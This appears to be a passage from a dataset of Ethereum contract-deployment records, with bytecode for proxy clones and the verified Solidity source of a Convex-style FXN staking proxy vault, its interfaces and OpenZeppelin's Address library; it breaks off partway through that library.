1 | 19,493,870 | d141d591fc059dd29d802230c40761a1ade49a3b9511bb5f3d2bf59dfdb90320 | 62b55d561a34cb8d37ca6189763cc78af496df54fc1148023823d040e246092f | 772c362128b283dc31baf11b06f4723666305a3d | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | 2fc9b3801c49a160ef533fc05a3c2fd14bde16b2 | 3d602d80600a3d3981f3363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,870 | d141d591fc059dd29d802230c40761a1ade49a3b9511bb5f3d2bf59dfdb90320 | a4f0c6e8c344ebd28367426ffc8f9977284858981e599a5fa7f5056db4eda9b3 | 263a0a855f49b3d9acc76adc6a76760aa1dea435 | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | ca5510f10b42facc10a11c4a09462ac5c5616050 | 3d602d80600a3d3981f3363d3d373d3d3d363d739f6be3b80088c747477b82ed5edadcc2ccc7caa75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d739f6be3b80088c747477b82ed5edadcc2ccc7caa75af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,871 | bcd680f029bffaf196e96751cb8e56a35370d18964566b43fcaaacf016172978 | 7ed86e3d07762d2e60ed787fa1c08edd5d5f01beaa187ae0531a8a8204c4d439 | 00000952c5165e391ed0f8adffcfaf45f3b80000 | c65c9bd2a46fc44c83ac99a99baba9f4781bbd14 | 82817839cc623a82eee4576a059cc90f99991ab1 | 608060405234801561001057600080fd5b506040516103ea3803806103ea8339818101604052810190610032919061011c565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b610292806101586000396000f3fe608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c634300081400330000000000000000000000001b3c23a3a6169ad02b9ef667b30180f25878fa17 | 608060405234801561001057600080fd5b506004361061003a5760003560e01c80638da5cb5b14610122578063d4b83992146101405761003b565b5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461009557600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000366040516100e09291906101e7565b600060405180830381855af49150503d806000811461011b576040519150601f19603f3d011682016040523d82523d6000602084013e610120565b606091505b005b61012a61015e565b6040516101379190610241565b60405180910390f35b610148610184565b6040516101559190610241565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081905092915050565b82818337600083830152505050565b60006101ce83856101a8565b93506101db8385846101b3565b82840190509392505050565b60006101f48284866101c2565b91508190509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061022b82610200565b9050919050565b61023b81610220565b82525050565b60006020820190506102566000830184610232565b9291505056fea26469706673582212208a6f9a6c60f4473a145d67c587ef91a3c6e830aa059fb52940dcfe207ab7f87c64736f6c63430008140033 | |
1 | 19,493,871 | bcd680f029bffaf196e96751cb8e56a35370d18964566b43fcaaacf016172978 | 6bab1acbcf54cf7ff290dc455785d60b0fbaad2e5ce954ea7689784df166bc86 | be09e43a57f2980998cedd08517eae7d5ae683bb | 66807b5598a848602734b82e432dd88dbe13fc8f | 44c8297786e3e9ae9bf8eb95890f66daf5c20876 | 3d602d80600a3d3981f3363d3d373d3d3d363d7354eadf1f41f0f9cef9f3bfd721c0ace8cf5a92665af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7354eadf1f41f0f9cef9f3bfd721c0ace8cf5a92665af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/boosting/StakingProxyRebalancePool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"./StakingProxyBase.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxUsd.sol\";\nimport \"../interfaces/IFxFacetV2.sol\";\nimport '@openzeppelin/contracts/security/ReentrancyGuard.sol';\n\n/*\nVault implementation for rebalance pool gauges\n\nThis should mostly act like a normal erc20 vault with the exception that\nfxn is not minted directly and is rather passed in via the extra rewards route.\nThus automatic redirect must be turned off and processed locally from the vault.\n*/\ncontract StakingProxyRebalancePool is StakingProxyBase, ReentrancyGuard{\n using SafeERC20 for IERC20;\n\n address public immutable fxusd; \n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter, address _fxusd) \n StakingProxyBase(_poolRegistry, _feeRegistry, _fxnminter){\n fxusd = _fxusd;\n }\n\n //vault type\n function vaultType() external pure override returns(VaultType){\n return VaultType.RebalancePool;\n }\n\n //vault version\n function vaultVersion() external pure override returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public override{\n super.initialize(_owner, _pid);\n\n //set infinite approval\n IERC20(stakingToken).approve(gaugeAddress, type(uint256).max);\n }\n\n\n //deposit into rebalance pool with ftoken\n function deposit(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull ftokens from user\n IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake\n IFxnGauge(gaugeAddress).deposit(_amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with fxusd\n function depositFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull fxusd from user\n IERC20(fxusd).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake using fxusd's earn function\n IFxUsd(fxusd).earn(gaugeAddress, _amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with base\n function depositBase(uint256 _amount, uint256 _minAmountOut) external onlyOwner nonReentrant{\n if(_amount > 0){\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n\n //pull base from user\n IERC20(_baseToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n IERC20(_baseToken).approve(fxusd, _amount);\n //stake using fxusd's earn function\n IFxUsd(fxusd).mintAndEarn(gaugeAddress, _amount, address(this), _minAmountOut);\n\n //return left over\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return ftoken\n function withdraw(uint256 _amount) external onlyOwner nonReentrant{\n\n //withdraw ftoken directly to owner\n IFxnGauge(gaugeAddress).withdraw(_amount, owner);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return fxusd\n function withdrawFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n\n //wrap to fxusd and receive at owner(msg.sender)\n IFxUsd(fxusd).wrapFrom(gaugeAddress, _amount, msg.sender);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw from rebalance pool(v2) and return underlying base\n function withdrawAsBase(uint256 _amount, address _fxfacet, address _fxconverter) external onlyOwner nonReentrant{\n\n //withdraw from rebase pool as underlying\n IFxFacetV2.ConvertOutParams memory params = IFxFacetV2.ConvertOutParams(_fxconverter,0,new uint256[](0));\n IFxFacetV2(_fxfacet).fxRebalancePoolWithdrawAs(params, gaugeAddress, _amount);\n\n //return left over\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //return earned tokens on staking contract and any tokens that are on this vault\n function earned() external override returns (address[] memory token_addresses, uint256[] memory total_earned) {\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //create array of rewards on gauge, rewards on extra reward contract, and fxn that is minted\n address _rewards = rewards;\n token_addresses = new address[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n total_earned = new uint256[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n\n //simulate claiming\n\n //claim other rewards on gauge to this address to tally\n IFxnGauge(gaugeAddress).claim(address(this),address(this));\n\n //get balance of tokens\n for(uint256 i = 0; i < rewardTokens.length; i++){\n token_addresses[i] = rewardTokens[i];\n if(rewardTokens[i] == fxn){\n //remove boost fee here as boosted fxn is distributed via extra rewards\n total_earned[i] = IERC20(fxn).balanceOf(address(this)) * (FEE_DENOMINATOR - IFeeRegistry(feeRegistry).totalFees()) / FEE_DENOMINATOR;\n }else{\n total_earned[i] = IERC20(rewardTokens[i]).balanceOf(address(this));\n }\n }\n\n //also add an extra rewards from convex's side\n IRewards.EarnedData[] memory extraRewards = IRewards(_rewards).claimableRewards(address(this));\n for(uint256 i = 0; i < extraRewards.length; i++){\n token_addresses[i+rewardTokens.length] = extraRewards[i].token;\n total_earned[i+rewardTokens.length] = extraRewards[i].amount;\n }\n }\n\n /*\n claim flow:\n mint fxn rewards directly to vault\n claim extra rewards directly to the owner\n calculate fees on fxn\n distribute fxn between owner and fee deposit\n */\n function getReward() external override{\n getReward(true);\n }\n\n //get reward with claim option.\n function getReward(bool _claim) public override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewards();\n }\n\n //get reward with claim option, as well as a specific token list to claim from convex extra rewards\n function getReward(bool _claim, address[] calldata _tokenList) external override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewardsFilter(_tokenList);\n }\n\n //return any tokens in vault back to owner\n function transferTokens(address[] calldata _tokenList) external onlyOwner{\n //transfer tokens back to owner\n //fxn and gauge tokens are skipped\n _transferTokens(_tokenList);\n }\n\n\n function _checkExecutable(address _address) internal override{\n super._checkExecutable(_address);\n\n //require shutdown for calls to withdraw role contracts\n if(IFxUsd(gaugeAddress).hasRole(keccak256(\"WITHDRAW_FROM_ROLE\"), _address)){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n }\n}\n"
},
"/contracts/interfaces/IRewards.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IRewards{\n struct EarnedData {\n address token;\n uint256 amount;\n }\n enum RewardState{\n NotInitialized,\n NoRewards,\n Active\n }\n \n function initialize(uint256 _pid, bool _startActive) external;\n function addReward(address _rewardsToken, address _distributor) external;\n function approveRewardDistributor(\n address _rewardsToken,\n address _distributor,\n bool _approved\n ) external;\n function deposit(address _owner, uint256 _amount) external;\n function withdraw(address _owner, uint256 _amount) external;\n function getReward(address _forward) external;\n function getRewardFilter(address _forward, address[] calldata _tokens) external;\n function notifyRewardAmount(address _rewardsToken, uint256 _reward) external;\n function balanceOf(address account) external view returns (uint256);\n function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards);\n function rewardTokens(uint256 _rid) external view returns (address);\n function rewardTokenLength() external view returns(uint256);\n function rewardState() external view returns(RewardState);\n}"
},
"/contracts/interfaces/IProxyVault.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IProxyVault {\n\n enum VaultType{\n Erc20Basic,\n RebalancePool\n }\n\n function vaultType() external view returns(VaultType);\n function vaultVersion() external view returns(uint256);\n function initialize(address _owner, uint256 _pid) external;\n function pid() external returns(uint256);\n function usingProxy() external returns(address);\n function owner() external returns(address);\n function gaugeAddress() external returns(address);\n function stakingToken() external returns(address);\n function rewards() external returns(address);\n function getReward() external;\n function getReward(bool _claim) external;\n function getReward(bool _claim, address[] calldata _rewardTokenList) external;\n function earned() external returns (address[] memory token_addresses, uint256[] memory total_earned);\n}"
},
"/contracts/interfaces/IPoolRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IPoolRegistry {\n function poolLength() external view returns(uint256);\n function poolInfo(uint256 _pid) external view returns(address, address, address, address, uint8);\n function vaultMap(uint256 _pid, address _user) external view returns(address vault);\n function addUserVault(uint256 _pid, address _user) external returns(address vault, address stakeAddress, address stakeToken, address rewards);\n function deactivatePool(uint256 _pid) external;\n function addPool(address _implementation, address _stakingAddress, address _stakingToken) external;\n function setRewardActiveOnCreation(bool _active) external;\n function setRewardImplementation(address _imp) external;\n}"
},
"/contracts/interfaces/IFxnTokenMinter.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// solhint-disable func-name-mixedcase\ninterface IFxnTokenMinter {\n function token() external view returns (address);\n\n function controller() external view returns (address);\n\n function minted(address user, address gauge) external view returns (uint256);\n\n function mint(address gauge_addr) external;\n\n function mint_many(address[8] memory gauges) external;\n\n function mint_for(address gauge, address _for) external;\n\n function toggle_approve_mint(address _user) external;\n}"
},
"/contracts/interfaces/IFxnGauge.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxnGauge{\n\n //basics\n function stakingToken() external view returns(address);\n function totalSupply() external view returns(uint256);\n function workingSupply() external view returns(uint256);\n function workingBalanceOf(address _account) external view returns(uint256);\n function deposit(uint256 _amount) external;\n function deposit(uint256 _amount, address _receiver) external;\n function deposit(uint256 _amount, address _receiver, bool _manage) external;\n function withdraw(uint256 _amount) external;\n function withdraw(uint256 _amount, address _receiver) external;\n function user_checkpoint(address _account) external returns (bool);\n function balanceOf(address _account) external view returns(uint256);\n function integrate_fraction(address account) external view returns (uint256);\n function baseToken() external view returns(address);\n function asset() external view returns(address);\n function market() external view returns(address);\n\n //weight sharing\n function toggleVoteSharing(address _staker) external;\n function acceptSharedVote(address _newOwner) external;\n function rejectSharedVote() external;\n function getStakerVoteOwner(address _account) external view returns (address);\n function numAcceptedStakers(address _account) external view returns (uint256);\n function sharedBalanceOf(address _account) external view returns (uint256);\n function veProxy() external view returns(address);\n\n //rewards\n function rewardData(address _token) external view returns(uint96 queued, uint80 rate, uint40 lastUpdate, uint40 finishAt);\n function getActiveRewardTokens() external view returns (address[] memory _rewardTokens);\n function rewardReceiver(address account) external view returns (address);\n function setRewardReceiver(address _newReceiver) external;\n function claim() external;\n function claim(address account) external;\n function claim(address account, address receiver) external;\n function getBoostRatio(address _account) external view returns (uint256);\n function depositReward(address _token, uint256 _amount) external;\n function voteOwnerBalances(address _account) external view returns(uint112 product, uint104 amount, uint40 updateAt);\n}\n"
},
"/contracts/interfaces/IFxUsd.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxUsd{\n\n function wrap(\n address _baseToken,\n uint256 _amount,\n address _receiver\n ) external;\n\n function wrapFrom(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mint(\n address _baseToken,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n\n function earn(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mintAndEarn(\n address _pool,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n function hasRole(bytes32 role, address account) external view returns (bool);\n}\n"
},
"/contracts/interfaces/IFxFacetV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxFacetV2{\n\n struct ConvertOutParams {\n address converter;\n uint256 minOut;\n uint256[] routes;\n }\n\n function fxRebalancePoolWithdraw(address _pool, uint256 _amountIn) external payable returns (uint256 _amountOut);\n function fxRebalancePoolWithdrawAs(\n ConvertOutParams memory _params,\n address _pool,\n uint256 _amountIn\n ) external payable returns (uint256 _amountOut);\n}\n"
},
"/contracts/interfaces/IFeeRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IFeeRegistry{\n function cvxfxnIncentive() external view returns(uint256);\n function cvxIncentive() external view returns(uint256);\n function platformIncentive() external view returns(uint256);\n function totalFees() external view returns(uint256);\n function maxFees() external view returns(uint256);\n function feeDeposit() external view returns(address);\n function getFeeDepositor(address _from) external view returns(address);\n}"
},
"/contracts/boosting/StakingProxyBase.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"../interfaces/IProxyVault.sol\";\nimport \"../interfaces/IFeeRegistry.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxnTokenMinter.sol\";\nimport \"../interfaces/IRewards.sol\";\nimport \"../interfaces/IPoolRegistry.sol\";\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\nimport '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';\n\n/*\nBase class for vaults\n\n*/\ncontract StakingProxyBase is IProxyVault{\n using SafeERC20 for IERC20;\n\n address public constant fxn = address(0x365AccFCa291e7D3914637ABf1F7635dB165Bb09);\n address public constant vefxnProxy = address(0xd11a4Ee017cA0BECA8FA45fF2abFe9C6267b7881);\n address public immutable feeRegistry;\n address public immutable poolRegistry;\n address public immutable fxnMinter;\n\n address public owner; //owner of the vault\n address public gaugeAddress; //gauge contract\n address public stakingToken; //staking token\n address public rewards; //extra rewards on convex\n address public usingProxy; //address of proxy being used\n uint256 public pid;\n\n uint256 public constant FEE_DENOMINATOR = 10000;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter){\n poolRegistry = _poolRegistry;\n feeRegistry = _feeRegistry;\n fxnMinter = _fxnminter;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"!auth\");\n _;\n }\n\n modifier onlyAdmin() {\n require(vefxnProxy == msg.sender, \"!auth_admin\");\n _;\n }\n\n //vault type\n function vaultType() external virtual pure returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external virtual pure returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public virtual{\n require(owner == address(0),\"already init\");\n owner = _owner;\n pid = _pid;\n\n //get pool info\n (,gaugeAddress, stakingToken, rewards,) = IPoolRegistry(poolRegistry).poolInfo(_pid);\n }\n\n //set what veFXN proxy this vault is using\n function setVeFXNProxy(address _proxy) external virtual onlyAdmin{\n //set the vefxn proxy\n _setVeFXNProxy(_proxy);\n }\n\n //set veFXN proxy the vault is using. call acceptSharedVote to start sharing vefxn proxy's boost\n function _setVeFXNProxy(address _proxyAddress) internal{\n //set proxy address on staking contract\n IFxnGauge(gaugeAddress).acceptSharedVote(_proxyAddress);\n if(_proxyAddress == vefxnProxy){\n //reset back to address 0 to default to convex's proxy, dont write if not needed.\n if(usingProxy != address(0)){\n usingProxy = address(0);\n }\n }else{\n //write non-default proxy address\n usingProxy = _proxyAddress;\n }\n }\n\n //get rewards and earned are type specific. extend in child class\n function getReward() external virtual{}\n function getReward(bool _claim) external virtual{}\n function getReward(bool _claim, address[] calldata _rewardTokenList) external virtual{}\n function earned() external virtual returns (address[] memory token_addresses, uint256[] memory total_earned){}\n\n\n //checkpoint and add/remove weight to convex rewards contract\n function _checkpointRewards() internal{\n //if rewards are active, checkpoint\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //get user balance from the gauge\n uint256 userLiq = IFxnGauge(gaugeAddress).balanceOf(address(this));\n //get current balance of reward contract\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n if(userLiq >= bal){\n //add the difference to reward contract\n IRewards(_rewards).deposit(owner, userLiq - bal);\n }else{\n //remove the difference from the reward contract\n IRewards(_rewards).withdraw(owner, bal - userLiq);\n }\n }\n }\n\n //apply fees to fxn and send remaining to owner\n function _processFxn() internal{\n\n //get fee rate from fee registry (only need to know total, let deposit contract disperse itself)\n uint256 totalFees = IFeeRegistry(feeRegistry).totalFees();\n\n //send fxn fees to fee deposit\n uint256 fxnBalance = IERC20(fxn).balanceOf(address(this));\n uint256 sendAmount = fxnBalance * totalFees / FEE_DENOMINATOR;\n if(sendAmount > 0){\n //get deposit address for given proxy (address 0 will be handled by fee registry to return default convex proxy)\n IERC20(fxn).transfer(IFeeRegistry(feeRegistry).getFeeDepositor(usingProxy), sendAmount);\n }\n\n //transfer remaining fxn to owner\n sendAmount = IERC20(fxn).balanceOf(address(this));\n if(sendAmount > 0){\n IERC20(fxn).transfer(owner, sendAmount);\n }\n }\n\n //get extra rewards (convex side)\n function _processExtraRewards() internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getReward(owner);\n }\n }\n\n //get extra rewards (convex side) with a filter list\n function _processExtraRewardsFilter(address[] calldata _tokens) internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getRewardFilter(owner,_tokens);\n }\n }\n\n //transfer other reward tokens besides fxn(which needs to have fees applied)\n //also block gauge tokens from being transfered out\n function _transferTokens(address[] memory _tokens) internal{\n //transfer all tokens\n for(uint256 i = 0; i < _tokens.length; i++){\n //dont allow fxn (need to take fee)\n //dont allow gauge token transfer\n if(_tokens[i] != fxn && _tokens[i] != gaugeAddress){\n uint256 bal = IERC20(_tokens[i]).balanceOf(address(this));\n if(bal > 0){\n IERC20(_tokens[i]).safeTransfer(owner, bal);\n }\n }\n }\n }\n\n function _checkExecutable(address _address) internal virtual{\n require(_address != fxn && _address != stakingToken && _address != rewards, \"!invalid target\");\n }\n\n //allow arbitrary calls. some function signatures and targets are blocked\n function execute(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) external onlyOwner returns (bool, bytes memory) {\n //fully block fxn, staking token(lp etc), and rewards\n _checkExecutable(_to);\n\n //only calls to staking(gauge) address if pool is shutdown\n if(_to == gaugeAddress){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n\n (bool success, bytes memory result) = _to.call{value:_value}(_data);\n require(success, \"!success\");\n return (success, result);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory 